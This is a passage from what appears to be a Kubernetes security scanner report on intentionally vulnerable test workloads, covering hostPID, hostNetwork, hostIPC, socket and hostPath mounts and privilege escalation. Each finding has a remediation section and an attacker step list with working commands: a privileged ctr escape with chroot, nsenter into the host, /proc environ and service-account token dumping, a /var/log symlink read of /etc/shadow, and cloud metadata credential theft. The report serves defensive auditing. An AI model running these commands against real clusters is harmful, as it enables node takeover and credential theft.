A Deployment manages a ReplicaSet which manages Pods. The dangerous attribute lives on the pod template: every replica inherits the same ServiceAccount, the same securityContext, and the same volume mounts. A risky pod template multiplies into N risky pods.

Kubernetes docs ↗
  1. Code execution in the pod with containerd.sock mounted.
  2. ls -la /run/containerd/containerd.sock; ctr --address /run/containerd/containerd.sock version.
  3. List target containers: ctr -n k8s.io containers list. Note kube-apiserver, etcd, or any victim app.
  4. Spawn a privileged escape container: ctr -n k8s.io run --rm --privileged --mount type=bind,src=/,dst=/host,options=rbind:rw docker.io/library/alpine:latest x /bin/sh -c 'chroot /host'.
  5. From host, harvest /var/lib/kubelet/pki/kubelet-client-current.pem and pivot to the API server.
Remediation
Remove the containerd-socket hostPath mount; use the Kubernetes API or CRI-aware tools instead.
  1. Determine why the workload needs CRI access. Legitimate use is rare and typically limited to specific node-agent observability tools. Replace with a Kubernetes-API-driven alternative.
  2. Remove the hostPath volume and volumeMount targeting /run/containerd/containerd.sock (and aliases).
  3. For monitoring use cases, use the kubelet's /metrics/cadvisor endpoint behind an RBAC-scoped ServiceAccount, not raw socket access.
  4. Validate: kubectl get deployment/socket-mounts-app -n vulnerable -o yaml | grep -i containerd returns no socket mount.
Evidence
Volumecontainerd-sock
Host path/var/run/containerd/containerd.sock
containerd socket (container engine takeover)
Show raw JSON
{
  "path": "/var/run/containerd/containerd.sock",
  "volume": "containerd-sock"
}
CRITICAL

Pod shares host PID namespace (hostPID: true) in Deployment/vulnerable/host-ns-app

KUBE-ESCAPE-002 1 subject Score 9.0
MITRE ATT&CK: T1611T1552.001T1057

Affected subject

CRITICAL Deployment/vulnerable/host-ns-app Workload 9.0
Pod shares host PID namespace (hostPID: true) in Deployment/vulnerable/host-ns-app
Scope · Workload Workload Deployment/vulnerable/host-ns-app
Category: Privilege Escalation Resource: Deployment/vulnerable/host-ns-app Namespace: vulnerable

Workload Deployment/vulnerable/host-ns-app sets spec.hostPID: true, joining the host's PID namespace. Every process on the node (kubelet, container runtime, other tenant workloads, sshd, cloud-init agents) is visible via /proc and addressable by PID from inside this pod.

The risk is twofold. First, information disclosure: /proc/<pid>/environ, /proc/<pid>/cmdline, and /proc/<pid>/root/... leak environment variables (which often contain database passwords, cloud credentials, and Kubernetes service-account tokens), CLI args, and arbitrary file contents from other containers' rootfs. Second, when combined with CAP_SYS_PTRACE or privileged: true, an attacker can nsenter --target 1 --mount --uts --ipc --net --pid -- /bin/bash and land directly in the host's mount namespace as root.

Bishop Fox's bad-pods library and kdigger's processes bucket grep /proc/*/environ for AWS_, KUBE_, DATABASE_URL, and service-account JWTs. Even without extra capabilities, host-PID alone is enough to harvest cleartext credentials from neighboring pods on the same node. This is a classic noisy-neighbor escalation primitive (TeamTNT, Hildegard).

Impact Read process arguments, environment variables, and /proc/<pid>/root of every other pod on the node; harvest service-account tokens and cloud credentials from neighbors.
How an attacker abuses this
Background
ResourceDeployment

A Deployment manages a ReplicaSet which manages Pods. The dangerous attribute lives on the pod template: every replica inherits the same ServiceAccount, the same securityContext, and the same volume mounts. A risky pod template multiplies into N risky pods.

Kubernetes docs ↗
TechniqueContainer escape to host

The pod is configured in a way that makes escaping to the underlying node trivial: privileged: true, hostPID, hostNetwork, or a sensitive hostPath mount (root, docker.sock, etc.). An attacker who controls the container reaches root on the node, then has access to every pod and kubelet credential on that node.

  1. Gain code execution in the pod with hostPID: true.
  2. Enumerate processes: ps -ef shows host kubelet, runc, and sibling containers.
  3. Loot environments: for p in /proc/[0-9]*/environ; do tr '\0' '\n' < $p; done | grep -iE 'token|secret|aws|key'.
  4. Read other pods' service-account tokens via cat /proc/<pid>/root/var/run/secrets/kubernetes.io/serviceaccount/token.
  5. If CAP_SYS_PTRACE or privileged is also present, nsenter -t 1 -a to land in the host root namespace and persist via SSH key or systemd unit.
Remediation
Set spec.hostPID: false (or omit it; the default is false).
  1. Identify why hostPID was set; legitimate uses are limited to node-monitoring DaemonSets like node-exporter.
  2. Remove hostPID: true from the pod template (or set explicitly to false).
  3. Apply Pod Security Admission baseline: kubectl label ns <ns> pod-security.kubernetes.io/enforce=baseline.
  4. Validate with kubectl get deployment/host-ns-app -n vulnerable -o jsonpath='{.spec.template.spec.hostPID}' returning empty or false.
Evidence
hostPIDtrue
Shares the node's process namespace (can ptrace/kill node processes)
Show raw JSON
{
  "hostPID": true
}
HIGH

Pod-mounted PVC pvc-hostpath-kubelet is backed by a sensitive hostPath PV pv-hostpath-kubelet

KUBE-PV-HOSTPATH-001 1 subject Score 8.6
MITRE ATT&CK: T1611T1078

Affected subject

HIGH Deployment/pv-hostpath-fixtures/pv-hostpath-app Workload 8.6
Pod-mounted PVC pvc-hostpath-kubelet is backed by a sensitive hostPath PV pv-hostpath-kubelet
Scope · Workload Workload Deployment/pv-hostpath-fixtures/pv-hostpath-app
Category: Privilege Escalation Resource: Deployment/pv-hostpath-fixtures/pv-hostpath-app Namespace: pv-hostpath-fixtures

Workload Deployment/pv-hostpath-fixtures/pv-hostpath-app mounts PersistentVolumeClaim pvc-hostpath-kubelet via volume kubelet-data. The bound PersistentVolume pv-hostpath-kubelet uses spec.hostPath.path: /var/lib/kubelet, a sensitive node directory. Because Pod Security Admission inspects the PodSpec only and never follows the PVC -> PV indirection, this is a real Baseline/Restricted bypass: a namespace labeled pod-security.kubernetes.io/enforce=baseline (or restricted) would block a direct volumes.hostPath, but happily admits a Pod that mounts an equivalent path through a PVC.

Once mounted, the host directory is reachable from inside the container with the same blast radius as a direct hostPath: read kubelet credentials under /var/lib/kubelet, write SUID binaries via /, drop sshd authorized_keys via /root, leak /etc/shadow or kubeadm config from /etc, talk to the container runtime through /var/run/{docker,containerd}.sock. The PSA label gives a false sense of safety; the cluster operator typically discovers the bypass only when an unauthorized pod has already escaped to the node.

Real-world: a tenant with permission to create PVCs in their own namespace, plus cluster-wide pre-provisioned hostPath PVs (a common pattern for local-path-provisioner without scope restrictions), can claim the sensitive PV by name and mount it from a Baseline-enforced namespace. The Pod admits cleanly; the breakout follows.

Impact Same as a direct hostPath mount of /var/lib/kubelet (node takeover, kubelet credential theft, lateral movement to every other pod on the node). PSA enforce labels do not block this path, so attenuation does not apply.
How an attacker abuses this
Background
ResourceDeployment

A Deployment manages a ReplicaSet which manages Pods. The dangerous attribute lives on the pod template: every replica inherits the same ServiceAccount, the same securityContext, and the same volume mounts. A risky pod template multiplies into N risky pods.

Kubernetes docs ↗
TechniqueContainer escape to host

The pod is configured in a way that makes escaping to the underlying node trivial: privileged: true, hostPID, hostNetwork, or a sensitive hostPath mount (root, docker.sock, etc.). An attacker who controls the container reaches root on the node, then has access to every pod and kubelet credential on that node.

  1. Attacker has create-pod and create-pvc rights in a namespace that has pod-security.kubernetes.io/enforce=baseline or restricted.
  2. They list pre-provisioned PersistentVolumes (kubectl get pv) and identify pv-hostpath-kubelet, which uses hostPath: /var/lib/kubelet.
  3. They create a PersistentVolumeClaim referencing pv-hostpath-kubelet by volumeName. The PVC binds.
  4. They create a Pod that mounts the PVC at a known mount point. PSA admits the pod because the PodSpec has no hostPath volume - only persistentVolumeClaim.
  5. From inside the container, they read/write the host directory with full container-process privilege. From /var/lib/kubelet they extract kubelet-client-current.pem; from / they chroot and pivot to the node.
Remediation
Remove the hostPath from PV pv-hostpath-kubelet, restrict who can create hostPath PVs, and stop the Pod from claiming this PV.
  1. Replace spec.hostPath on PersistentVolume pv-hostpath-kubelet with a CSI driver, an nfs/iscsi source, or a strictly-scoped local volume on a labeled node. The hostPath PV pattern is brittle for any workload, not just from a security angle.
  2. Restrict who can create cluster-scoped PersistentVolumes (PVs are non-namespaced) and who can create hostPath-typed PVs specifically. A Kyverno/Gatekeeper ClusterPolicy can deny spec.hostPath PVs outright, or whitelist only paths under /var/lib/your-app/.
  3. Delete or unbind the PVC pv-hostpath-fixtures/pvc-hostpath-kubelet so the workload stops consuming the sensitive PV. If the workload genuinely needs node-local state, use a local volume with nodeAffinity and a strict path allowlist instead.
  4. Validate: kubectl get pv pv-hostpath-kubelet -o jsonpath='{.spec.hostPath.path}' returns empty.
Evidence
Volumekubelet-data
Host path/var/lib/kubelet
Kubelet credentials & pod tokens for every pod on the node
claim_name
"pvc-hostpath-kubelet"
pv_name
"pv-hostpath-kubelet"
Show raw JSON
{
  "claim_name": "pvc-hostpath-kubelet",
  "path": "/var/lib/kubelet",
  "pv_name": "pv-hostpath-kubelet",
  "volume": "kubelet-data"
}
HIGH

/var/log mounted from host into Deployment/vulnerable/socket-mounts-app enables log-symlink escape primitive

KUBE-ESCAPE-008 1 subject Score 8.5
MITRE ATT&CK: T1611T1552.001T1083

Affected subject

HIGH Deployment/vulnerable/socket-mounts-app Workload 8.5
/var/log mounted from host into Deployment/vulnerable/socket-mounts-app enables log-symlink escape primitive
Scope · Workload Workload Deployment/vulnerable/socket-mounts-app
Category: Privilege Escalation Resource: Deployment/vulnerable/socket-mounts-app Namespace: vulnerable

Workload Deployment/vulnerable/socket-mounts-app mounts /var/log from the host via volume var-log. This directory is the canonical container-log staging area: the kubelet writes per-pod logs into /var/log/pods/<ns>_<pod>_<uid>/<container>/0.log as symlinks pointing to the runtime's actual log files.

The exploit is that kubectl logs causes the kubelet (running as root) to read those symlinks. If a pod can write into the host's /var/log (because it has the directory mounted), it can replace its own 0.log symlink with one pointing to ANY file on the node, e.g. /etc/shadow or /var/lib/kubelet/pki/kubelet-client-current.pem. The next kubectl logs <pod> returns the contents of that file as if it were the container's stdout. This is the well-known /var/log symlink escape (Aqua Security, KubeHound CE_VAR_LOG_SYMLINK, CVE-2017-1002101, CVE-2021-25741).

The pattern is very common in misconfigured log shippers (Fluentd, Filebeat, Promtail). On multi-tenant clusters where any user can kubectl logs against pods they own, this is a universal arbitrary-file-read primitive.

Impact Arbitrary file read on the host node as root via the kubelet's log-resolving behavior; compromise kubelet PKI, /etc/shadow, etcd snapshots, every pod's mounted secrets.
How an attacker abuses this
Background
ResourceDeployment

A Deployment manages a ReplicaSet which manages Pods. The dangerous attribute lives on the pod template: every replica inherits the same ServiceAccount, the same securityContext, and the same volume mounts. A risky pod template multiplies into N risky pods.

Kubernetes docs ↗
TechniqueContainer escape to host

The pod is configured in a way that makes escaping to the underlying node trivial: privileged: true, hostPID, hostNetwork, or a sensitive hostPath mount (root, docker.sock, etc.). An attacker who controls the container reaches root on the node, then has access to every pod and kubelet credential on that node.

  1. RCE in a pod that has hostPath: /var/log mounted (RW).
  2. Find own pod's log-symlink directory: ls -la /var/log/pods/.
  3. Replace 0.log symlink: ln -sf /etc/shadow /var/log/pods/<ns>_<pod>_<uid>/<container>/0.log.
  4. Trigger the read: kubectl logs <pod> -c <container> returns /etc/shadow.
  5. Repeat for kubelet PKI and pivot via direct apiserver auth as system:node:<nodeName>.
Remediation
Do not mount /var/log (or its subdirectories) from the host into application pods; use the kubelet logs API or a log-aggregator sidecar pattern.
  1. For log-shipper DaemonSets that genuinely need host logs, switch to read-only mount AND restrict to /var/log/containers and /var/log/pods only (not the parent /var/log).
  2. Configure the log shipper to refuse following symlinks (e.g. Fluent Bit Path_Key) and run as a non-root UID.
  3. For application pods, route logs to stdout/stderr only. Kubernetes captures these without any hostPath. Drop the hostPath mount.
  4. Validate: kubectl get deployment/socket-mounts-app -n vulnerable -o yaml | grep -A2 hostPath does not contain /var/log (or only narrow read-only sub-path).
Evidence
Volumevar-log
Host path/var/log
Node logs (symlinks let you read other pods' logs)
Show raw JSON
{
  "path": "/var/log",
  "volume": "var-log"
}
HIGH

Pod shares host network (hostNetwork: true) in Deployment/psa-unlabeled-fixtures/psa-unlabeled-app

KUBE-ESCAPE-003 2 subjects Score 8.1
MITRE ATT&CK: T1611T1552.005T1046T1040

Affected subjects (2)

HIGH Deployment/psa-unlabeled-fixtures/psa-unlabeled-app Workload 8.1
Pod shares host network (hostNetwork: true) in Deployment/psa-unlabeled-fixtures/psa-unlabeled-app
Scope · Workload Workload Deployment/psa-unlabeled-fixtures/psa-unlabeled-app
Category: Lateral Movement Resource: Deployment/psa-unlabeled-fixtures/psa-unlabeled-app Namespace: psa-unlabeled-fixtures

Workload Deployment/psa-unlabeled-fixtures/psa-unlabeled-app sets spec.hostNetwork: true. The container is no longer in a sandboxed network namespace. It sees the node's interfaces, listens on the node's IPs and ports, and reaches every loopback service the kubelet talks to.

The most dangerous consequence is that NetworkPolicies cannot apply. Cilium, Calico, and the upstream NetworkPolicy spec key off the pod's veth and labels, and a hostNetwork pod has neither, so all egress filtering is silently bypassed. On managed Kubernetes (EKS/GKE/AKS) the workload can reach the cloud Instance Metadata Service at 169.254.169.254 even when the cluster has set IMDSv2 hop-count protection. The result is a one-step path from container RCE to AWS/Azure/GCP IAM credential theft.

The pod can also bind privileged ports the host already uses, redirect kube-proxy, sniff service traffic, or scan internal-only addresses such as 127.0.0.1:10250 (kubelet) which is otherwise unreachable from a normal pod.

Impact Bypasses NetworkPolicy and IMDSv2 hop protection; container reaches cloud metadata, kubelet localhost, and any node-loopback service. This pivots cluster compromise into cloud-account compromise.
How an attacker abuses this
Background
ResourceDeployment

A Deployment manages a ReplicaSet which manages Pods. The dangerous attribute lives on the pod template: every replica inherits the same ServiceAccount, the same securityContext, and the same volume mounts. A risky pod template multiplies into N risky pods.

Kubernetes docs ↗
TechniqueContainer escape to host

The pod is configured in a way that makes escaping to the underlying node trivial: privileged: true, hostPID, hostNetwork, or a sensitive hostPath mount (root, docker.sock, etc.). An attacker who controls the container reaches root on the node, then has access to every pod and kubelet credential on that node.

  1. Gain code execution in the pod (web RCE, malicious image).
  2. Confirm hostNetwork: ip addr shows the node's primary interface, not a pod CIDR.
  3. Hit the IMDS: curl -s http://169.254.169.254/latest/api/token -X PUT -H 'X-aws-ec2-metadata-token-ttl-seconds: 21600' then fetch iam/security-credentials/<role>.
  4. Use stolen IAM creds with aws sts get-caller-identity and pivot to S3/EKS API.
  5. Optional: probe 127.0.0.1:10250 (kubelet). If anonymous auth is enabled, run curl -k https://127.0.0.1:10250/pods to enumerate every pod on the node and exec into any of them.
Remediation
Set hostNetwork: false (default) and route any node-level networking through a CNI-managed Service or NetworkPolicy-aware DaemonSet.
  1. Audit if hostNetwork is required. Typically only kube-proxy, CNI agents, or node-local DNS legitimately need it.
  2. Remove hostNetwork: true. If a host port is genuinely required, prefer a Service of type NodePort or an Ingress controller behind a NetworkPolicy.
  3. Enforce IMDSv2 with hop-limit = 1 on every node; apply an egress NetworkPolicy denying 169.254.169.254/32 for application namespaces.
  4. Validate: kubectl get deployment/psa-unlabeled-app -n psa-unlabeled-fixtures -o jsonpath='{.spec.template.spec.hostNetwork}' is empty/false; kubectl exec ... -- curl -m 2 http://169.254.169.254/ should fail.
Evidence
hostNetworktrue
Shares the node's network namespace (sees every pod's traffic, binds to node IPs)
Show raw JSON
{
  "hostNetwork": true
}
HIGH Deployment/vulnerable/risky-app Workload 8.1
Pod shares host network (hostNetwork: true) in Deployment/vulnerable/risky-app
Scope · Workload Workload Deployment/vulnerable/risky-app
Category: Lateral Movement Resource: Deployment/vulnerable/risky-app Namespace: vulnerable

Workload Deployment/vulnerable/risky-app sets spec.hostNetwork: true. The container is no longer in a sandboxed network namespace. It sees the node's interfaces, listens on the node's IPs and ports, and reaches every loopback service the kubelet talks to.

The most dangerous consequence is that NetworkPolicies cannot apply. Cilium, Calico, and the upstream NetworkPolicy spec key off the pod's veth and labels, and a hostNetwork pod has neither, so all egress filtering is silently bypassed. On managed Kubernetes (EKS/GKE/AKS) the workload can reach the cloud Instance Metadata Service at 169.254.169.254 even when the cluster has set IMDSv2 hop-count protection. The result is a one-step path from container RCE to AWS/Azure/GCP IAM credential theft.

The pod can also bind privileged ports the host already uses, redirect kube-proxy, sniff service traffic, or scan internal-only addresses such as 127.0.0.1:10250 (kubelet) which is otherwise unreachable from a normal pod.

Impact Bypasses NetworkPolicy and IMDSv2 hop protection; container reaches cloud metadata, kubelet localhost, and any node-loopback service. This pivots cluster compromise into cloud-account compromise.
How an attacker abuses this
Background
ResourceDeployment

A Deployment manages a ReplicaSet which manages Pods. The dangerous attribute lives on the pod template: every replica inherits the same ServiceAccount, the same securityContext, and the same volume mounts. A risky pod template multiplies into N risky pods.

Kubernetes docs ↗
TechniqueContainer escape to host

The pod is configured in a way that makes escaping to the underlying node trivial: privileged: true, hostPID, hostNetwork, or a sensitive hostPath mount (root, docker.sock, etc.). An attacker who controls the container reaches root on the node, then has access to every pod and kubelet credential on that node.

  1. Gain code execution in the pod (web RCE, malicious image).
  2. Confirm hostNetwork: ip addr shows the node's primary interface, not a pod CIDR.
  3. Hit the IMDS: curl -s http://169.254.169.254/latest/api/token -X PUT -H 'X-aws-ec2-metadata-token-ttl-seconds: 21600' then fetch iam/security-credentials/<role>.
  4. Use stolen IAM creds with aws sts get-caller-identity and pivot to S3/EKS API.
  5. Optional: probe 127.0.0.1:10250 (kubelet). If anonymous auth is enabled, run curl -k https://127.0.0.1:10250/pods to enumerate every pod on the node and exec into any of them.
Remediation
Set hostNetwork: false (default) and route any node-level networking through a CNI-managed Service or NetworkPolicy-aware DaemonSet.
  1. Audit if hostNetwork is required. Typically only kube-proxy, CNI agents, or node-local DNS legitimately need it.
  2. Remove hostNetwork: true. If a host port is genuinely required, prefer a Service of type NodePort or an Ingress controller behind a NetworkPolicy.
  3. Enforce IMDSv2 with hop-limit = 1 on every node; apply an egress NetworkPolicy denying 169.254.169.254/32 for application namespaces.
  4. Validate: kubectl get deployment/risky-app -n vulnerable -o jsonpath='{.spec.template.spec.hostNetwork}' is empty/false; kubectl exec ... -- curl -m 2 http://169.254.169.254/ should fail.
Evidence
hostNetworktrue
Shares the node's network namespace (sees every pod's traffic, binds to node IPs)
Show raw JSON
{
  "hostNetwork": true
}
HIGH

Pod shares host IPC (hostIPC: true) in Deployment/vulnerable/host-ns-app

KUBE-ESCAPE-004 1 subject Score 8.0
MITRE ATT&CK: T1611T1552.001T1005

Affected subject

HIGH Deployment/vulnerable/host-ns-app Workload 8.0
Pod shares host IPC (hostIPC: true) in Deployment/vulnerable/host-ns-app
Scope · Workload Workload Deployment/vulnerable/host-ns-app
Category: Privilege Escalation Resource: Deployment/vulnerable/host-ns-app Namespace: vulnerable

Workload Deployment/vulnerable/host-ns-app sets spec.hostIPC: true, joining the host's IPC (Inter-Process Communication) namespace. The container can read and write the host's POSIX shared-memory segments (/dev/shm), SysV shared memory, message queues, and semaphore arrays.

The attack surface is data, not code execution. Many host-resident processes (caching layers, GPU compute via CUDA's cuMemAlloc, Redis with unixsocket, Postgres' shared buffers, even kernel-side IMA logs) store in-memory state in IPC segments under the assumption no untrusted process can address them. With hostIPC: true an attacker dumps every visible segment, harvests cached secrets, replays message queues, or corrupts semaphores to cause denial-of-service.

Bishop Fox's bad-pods/hostipc example uses ipcs -m to list shared-memory segments and ipcs -p to identify owning PIDs, then cat /dev/shm/* (or attaches via shmat) to extract their contents. hostIPC is forbidden by the Pod Security Standards Baseline level.

Impact Read or modify shared memory and SysV IPC of every process on the node; leak in-memory secrets, GPU buffers, database caches; denial-of-service via semaphore corruption.
How an attacker abuses this
Background
ResourceDeployment

A Deployment manages a ReplicaSet which manages Pods. The dangerous attribute lives on the pod template: every replica inherits the same ServiceAccount, the same securityContext, and the same volume mounts. A risky pod template multiplies into N risky pods.

Kubernetes docs ↗
TechniqueContainer escape to host

The pod is configured in a way that makes escaping to the underlying node trivial: privileged: true, hostPID, hostNetwork, or a sensitive hostPath mount (root, docker.sock, etc.). An attacker who controls the container reaches root on the node, then has access to every pod and kubelet credential on that node.

  1. Gain code execution in the pod with hostIPC enabled.
  2. Enumerate IPC: ipcs -a lists shared-memory IDs, message queues, and semaphores.
  3. Dump /dev/shm: ls -la /dev/shm; for f in /dev/shm/*; do strings "$f" | grep -iE 'token|secret|key'; done.
  4. Attach to a SysV segment with a small program (shmat(shmid, 0, SHM_RDONLY)) and exfiltrate.
  5. If a co-tenant runs an in-memory cache (Redis without disk persistence, an ML inference engine), extract model weights or session tokens still resident.
Remediation
Set hostIPC: false (default).
  1. Confirm no legitimate IPC sharing requirement; very few application workloads need this. Typically only NVIDIA GPU sharing or some HPC workloads.
  2. Remove hostIPC: true from the pod template.
  3. Where shared memory is a feature need (containers cooperating), use a single Pod with multiple containers and an emptyDir { medium: Memory } volume instead of host IPC.
  4. Validate: kubectl get deployment/host-ns-app -n vulnerable -o jsonpath='{.spec.template.spec.hostIPC}' is empty/false.
Evidence
hostIPCtrue
Shares the node's IPC namespace (reads other processes' shared memory)
Show raw JSON
{
  "hostIPC": true
}
HIGH

Container api allows privilege escalation in Deployment/flat-network/api

KUBE-PODSEC-APE-001 36 subjects Score 7.8
MITRE ATT&CK: T1548.001T1611

Affected subjects (36)

HIGH Deployment/flat-network/api Workload 7.8
Container api allows privilege escalation in Deployment/flat-network/api
Scope · Workload Workload Deployment/flat-network/api
Category: Privilege Escalation Resource: Deployment/flat-network/api Namespace: flat-network

Container api in Deployment/flat-network/api either omits securityContext.allowPrivilegeEscalation or sets it to true. This directly controls the no_new_privs Linux process flag: when allowPrivilegeEscalation: false, the kernel sets NoNewPrivs: 1 on PID 1 in the container, and any subsequent execve() call cannot acquire additional privileges via setuid/setgid binaries, file capabilities, or LSM transitions.

Leaving the field unset is dangerous because the runtime default is true for backward compatibility. If the container image happens to contain a setuid binary (even an inadvertent one from the base image, like mount, ping, su, or vendor agent helpers), an attacker who lands as a non-root user inside the container can re-acquire root just by exec'ing it.

The Pod Security Standards Restricted profile mandates allowPrivilegeEscalation: false precisely because it is the gate that makes capability drops and runAsNonRoot meaningful.

Impact If an attacker lands as a non-root user, they can re-acquire root via setuid binaries; defeats capability drops and runAsNonRoot defenses.
How an attacker abuses this
Background
ResourceDeployment

A Deployment manages a ReplicaSet which manages Pods. The dangerous attribute lives on the pod template: every replica inherits the same ServiceAccount, the same securityContext, and the same volume mounts. A risky pod template multiplies into N risky pods.

Kubernetes docs ↗
  1. Gain code execution as a non-root user (web RCE in a Node/Python/Java app).
  2. Enumerate setuid binaries: find / -perm -4000 -type f 2>/dev/null (often returns /usr/bin/passwd, /bin/su, /bin/mount, /usr/bin/newuidmap).
  3. Exploit one: su - if password-less, or a known setuid CVE.
  4. Once root in-container, restore previously-dropped capabilities via setcap-style techniques or chain with another finding.
Remediation
Set allowPrivilegeEscalation: false on every container.
  1. Add allowPrivilegeEscalation: false to each container's securityContext. Pair with capabilities.drop: [ALL] and runAsNonRoot: true.
  2. Build/pull images that don't contain setuid binaries; alternatively strip setuid bits in Dockerfile (find / -perm -4000 -exec chmod u-s {} +).
  3. Apply Pod Security Admission restricted to the namespace.
  4. Validate: kubectl get pod -n flat-network -l <selector> -o jsonpath='{.items[*].spec.containers[*].securityContext.allowPrivilegeEscalation}' returns false for every container.
Evidence
Containerapi
Show raw JSON
{
  "container": "api"
}
HIGH DaemonSet/rbac-fixtures/daemon-app Workload 7.8
Container app allows privilege escalation in DaemonSet/rbac-fixtures/daemon-app
Scope · Workload Workload DaemonSet/rbac-fixtures/daemon-app, runs on every node (per-node blast radius)
Category: Privilege Escalation Resource: DaemonSet/rbac-fixtures/daemon-app Namespace: rbac-fixtures

Container app in DaemonSet/rbac-fixtures/daemon-app either omits securityContext.allowPrivilegeEscalation or sets it to true. This directly controls the no_new_privs Linux process flag: when allowPrivilegeEscalation: false, the kernel sets NoNewPrivs: 1 on PID 1 in the container, and any subsequent execve() call cannot acquire additional privileges via setuid/setgid binaries, file capabilities, or LSM transitions.

Leaving the field unset is dangerous because the runtime default is true for backward compatibility. If the container image happens to contain a setuid binary (even an inadvertent one from the base image, like mount, ping, su, or vendor agent helpers), an attacker who lands as a non-root user inside the container can re-acquire root just by exec'ing it.

The Pod Security Standards Restricted profile mandates allowPrivilegeEscalation: false precisely because it is the gate that makes capability drops and runAsNonRoot meaningful.

Impact If an attacker lands as a non-root user, they can re-acquire root via setuid binaries; defeats capability drops and runAsNonRoot defenses.
How an attacker abuses this
Background
ResourceDaemonSet

A DaemonSet schedules one pod per node, typically for cluster infrastructure (CNI, log shipping, node monitoring). DaemonSets are frequent targets because they often need hostNetwork, hostPath, or privileged to do their job, which makes them ideal for attackers if compromised.

  1. Gain code execution as a non-root user (web RCE in a Node/Python/Java app).
  2. Enumerate setuid binaries: find / -perm -4000 -type f 2>/dev/null (often returns /usr/bin/passwd, /bin/su, /bin/mount, /usr/bin/newuidmap).
  3. Exploit one: su - if password-less, or a known setuid CVE.
  4. Once root in-container, restore previously-dropped capabilities via setcap-style techniques or chain with another finding.
Remediation
Set allowPrivilegeEscalation: false on every container.
  1. Add allowPrivilegeEscalation: false to each container's securityContext. Pair with capabilities.drop: [ALL] and runAsNonRoot: true.
  2. Build/pull images that don't contain setuid binaries; alternatively strip setuid bits in Dockerfile (find / -perm -4000 -exec chmod u-s {} +).
  3. Apply Pod Security Admission restricted to the namespace.
  4. Validate: kubectl get pod -n rbac-fixtures -l <selector> -o jsonpath='{.items[*].spec.containers[*].securityContext.allowPrivilegeEscalation}' returns false for every container.
Evidence
Containerapp
Show raw JSON
{
  "container": "app"
}
HIGH Deployment/cloud-eks-test/imds-pivot-app Workload 7.8
Container app allows privilege escalation in Deployment/cloud-eks-test/imds-pivot-app
Scope · Workload Workload Deployment/cloud-eks-test/imds-pivot-app
Category: Privilege Escalation Resource: Deployment/cloud-eks-test/imds-pivot-app Namespace: cloud-eks-test

Container app in Deployment/cloud-eks-test/imds-pivot-app either omits securityContext.allowPrivilegeEscalation or sets it to true. This directly controls the no_new_privs Linux process flag: when allowPrivilegeEscalation: false, the kernel sets NoNewPrivs: 1 on PID 1 in the container, and any subsequent execve() call cannot acquire additional privileges via setuid/setgid binaries, file capabilities, or LSM transitions.

Leaving the field unset is dangerous because the runtime default is true for backward compatibility. If the container image happens to contain a setuid binary (even an inadvertent one from the base image, like mount, ping, su, or vendor agent helpers), an attacker who lands as a non-root user inside the container can re-acquire root just by exec'ing it.

The Pod Security Standards Restricted profile mandates allowPrivilegeEscalation: false precisely because it is the gate that makes capability drops and runAsNonRoot meaningful.

Impact If an attacker lands as a non-root user, they can re-acquire root via setuid binaries; defeats capability drops and runAsNonRoot defenses.
How an attacker abuses this
Background
ResourceDeployment

A Deployment manages a ReplicaSet which manages Pods. The dangerous attribute lives on the pod template: every replica inherits the same ServiceAccount, the same securityContext, and the same volume mounts. A risky pod template multiplies into N risky pods.

Kubernetes docs ↗
  1. Gain code execution as a non-root user (web RCE in a Node/Python/Java app).
  2. Enumerate setuid binaries: find / -perm -4000 -type f 2>/dev/null (often returns /usr/bin/passwd, /bin/su, /bin/mount, /usr/bin/newuidmap).
  3. Exploit one: su - if password-less, or a known setuid CVE.
  4. Once root in-container, restore previously-dropped capabilities via setcap-style techniques or chain with another finding.
Remediation
Set allowPrivilegeEscalation: false on every container.
  1. Add allowPrivilegeEscalation: false to each container's securityContext. Pair with capabilities.drop: [ALL] and runAsNonRoot: true.
  2. Build/pull images that don't contain setuid binaries; alternatively strip setuid bits in Dockerfile (find / -perm -4000 -exec chmod u-s {} +).
  3. Apply Pod Security Admission restricted to the namespace.
  4. Validate: kubectl get pod -n cloud-eks-test -l <selector> -o jsonpath='{.items[*].spec.containers[*].securityContext.allowPrivilegeEscalation}' returns false for every container.
Evidence
Containerapp
Show raw JSON
{
  "container": "app"
}
HIGH Deployment/cloud-eks-test/irsa-admin-app Workload 7.8
Container app allows privilege escalation in Deployment/cloud-eks-test/irsa-admin-app
Scope · Workload Workload Deployment/cloud-eks-test/irsa-admin-app
Category: Privilege Escalation Resource: Deployment/cloud-eks-test/irsa-admin-app Namespace: cloud-eks-test

Container app in Deployment/cloud-eks-test/irsa-admin-app either omits securityContext.allowPrivilegeEscalation or sets it to true. This directly controls the no_new_privs Linux process flag: when allowPrivilegeEscalation: false, the kernel sets NoNewPrivs: 1 on PID 1 in the container, and any subsequent execve() call cannot acquire additional privileges via setuid/setgid binaries, file capabilities, or LSM transitions.

Leaving the field unset is dangerous because the runtime default is true for backward compatibility. If the container image happens to contain a setuid binary (even an inadvertent one from the base image, like mount, ping, su, or vendor agent helpers), an attacker who lands as a non-root user inside the container can re-acquire root just by exec'ing it.

The Pod Security Standards Restricted profile mandates allowPrivilegeEscalation: false precisely because it is the gate that makes capability drops and runAsNonRoot meaningful.

Impact If an attacker lands as a non-root user, they can re-acquire root via setuid binaries; defeats capability drops and runAsNonRoot defenses.
How an attacker abuses this
Background
ResourceDeployment

A Deployment manages a ReplicaSet which manages Pods. The dangerous attribute lives on the pod template: every replica inherits the same ServiceAccount, the same securityContext, and the same volume mounts. A risky pod template multiplies into N risky pods.

Kubernetes docs ↗
  1. Gain code execution as a non-root user (web RCE in a Node/Python/Java app).
  2. Enumerate setuid binaries: find / -perm -4000 -type f 2>/dev/null (often returns /usr/bin/passwd, /bin/su, /bin/mount, /usr/bin/newuidmap).
  3. Exploit one: su - if password-less, or a known setuid CVE.
  4. Once root in-container, restore previously-dropped capabilities via setcap-style techniques or chain with another finding.
Remediation
Set allowPrivilegeEscalation: false on every container.
  1. Add allowPrivilegeEscalation: false to each container's securityContext. Pair with capabilities.drop: [ALL] and runAsNonRoot: true.
  2. Build/pull images that don't contain setuid binaries; alternatively strip setuid bits in Dockerfile (find / -perm -4000 -exec chmod u-s {} +).
  3. Apply Pod Security Admission restricted to the namespace.
  4. Validate: kubectl get pod -n cloud-eks-test -l <selector> -o jsonpath='{.items[*].spec.containers[*].securityContext.allowPrivilegeEscalation}' returns false for every container.
Evidence
Containerapp
Show raw JSON
{
  "container": "app"
}
HIGH Deployment/containersec-fixtures/containersec-image Workload 7.8
Container app allows privilege escalation in Deployment/containersec-fixtures/containersec-image
Scope · Workload Workload Deployment/containersec-fixtures/containersec-image
